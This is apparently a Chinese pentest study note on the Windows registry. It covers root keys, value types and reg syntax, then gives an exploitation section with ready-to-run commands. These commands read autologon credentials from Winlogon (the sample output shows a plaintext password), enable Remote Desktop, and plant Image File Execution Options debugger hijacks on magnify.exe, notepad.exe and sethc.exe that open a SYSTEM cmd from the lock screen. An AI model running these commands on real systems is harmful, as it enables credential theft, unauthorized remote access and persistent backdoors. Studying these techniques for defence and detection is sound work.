Windows 注册表

注册表根键类型

  • HKEY_CLASSES_ROOT(HKCR): 文件扩展名与应用的关联及OLE信息
  • HKEY_CURRENT_USER(HKCU): 当前用户控制面板选项和桌面等设置,以及映射的网络驱动器等
  • HKEY_LOCAL_MACHINE(HKLM): 计算机配置信息,例如硬件、操作系统设置和应用程序等
  • HKEY_USERS(HKU): 所有登陆用户的配置文件
  • HKEY_CURRENT_CONFIG(HKCC): 当前硬件配置信息

键值类型

键值类型由常用的6种组成

  • REG_SZ: 字符串值
  • REG_BINARY: 二进制值
  • REG_DWORD: 32位值
  • REG_QWORD: 64位值
  • REG_MULTI_SZ: 多字符串值
  • REG_EXPAND_SZ: 可扩充字符串值

reg 命令语法

  • 显示语法帮助信息
    1
    2
    3
    4
    5
    reg /?

    Operation [ QUERY | ADD | DELETE | COPY |
    SAVE | LOAD | UNLOAD | RESTORE |
    COMPARE | EXPORT | IMPORT | FLAGS ]
1
2
3
4
reg query /?
#
reg add /?
# ...

利用方式

抓取 windows 自动登录用户密码

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

得到包含如下结果:

1
2
3
DefaultUserName    REG_SZ    yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab

开启远程桌面连接

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

语法说明:

  • /v: 指定要添加或修改的注册表项的名称
    • /ve: 指定添加到注册表中的项为空值
  • /t: 指定注册表项的数据类型
  • /d: 指定注册表项的数据值
  • /f: 强制执行操作,不提示确认

映像劫持

Image File Execution Options (IFEO) 是为一些在默认系统环境中运行时可能引发错误的程序提供特殊的环境设定。默认是只有管理员local system 有权读写修改

Image Hijack 原理:一个程序要运行时,会先检查注册表,如果有指定程序并且开启了 debugger,那么会优先执行 debugger 指定的程序,这样也就造成了映像劫持

注册表的位置在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options,这个注册表项有很多 exe 程序,可以通过修改这些表项来实现劫持的效果,当然也可以自己添加一个指定的 exe 表项实现劫持

使用 get-acl 查看用户对注册表的权限

1
2
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
# `fl` 将输出格式化为列表的形式

如果注册表配置权限错误,如下所示:

NT AUTHORITY\Authenticated Users 指所有通过身份验证的用户,都可以设置注册表项的值 (SetValue)、创建子键 (CreateSubKey)、读取注册表键值 (ReadKey)

这会导致所有用户都可以写入注册表,攻击者可以利用 Image Hijack 进行劫持

劫持放大镜打开 cmd

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

点击 开始->锁定->放大镜,点击后会获得一个 system 权限的 cmd 端口

劫持 notepad 打开 cmd

1
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /reg:32

劫持 shift 后门打开 cmd

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

点击 开始->锁定->按5次shift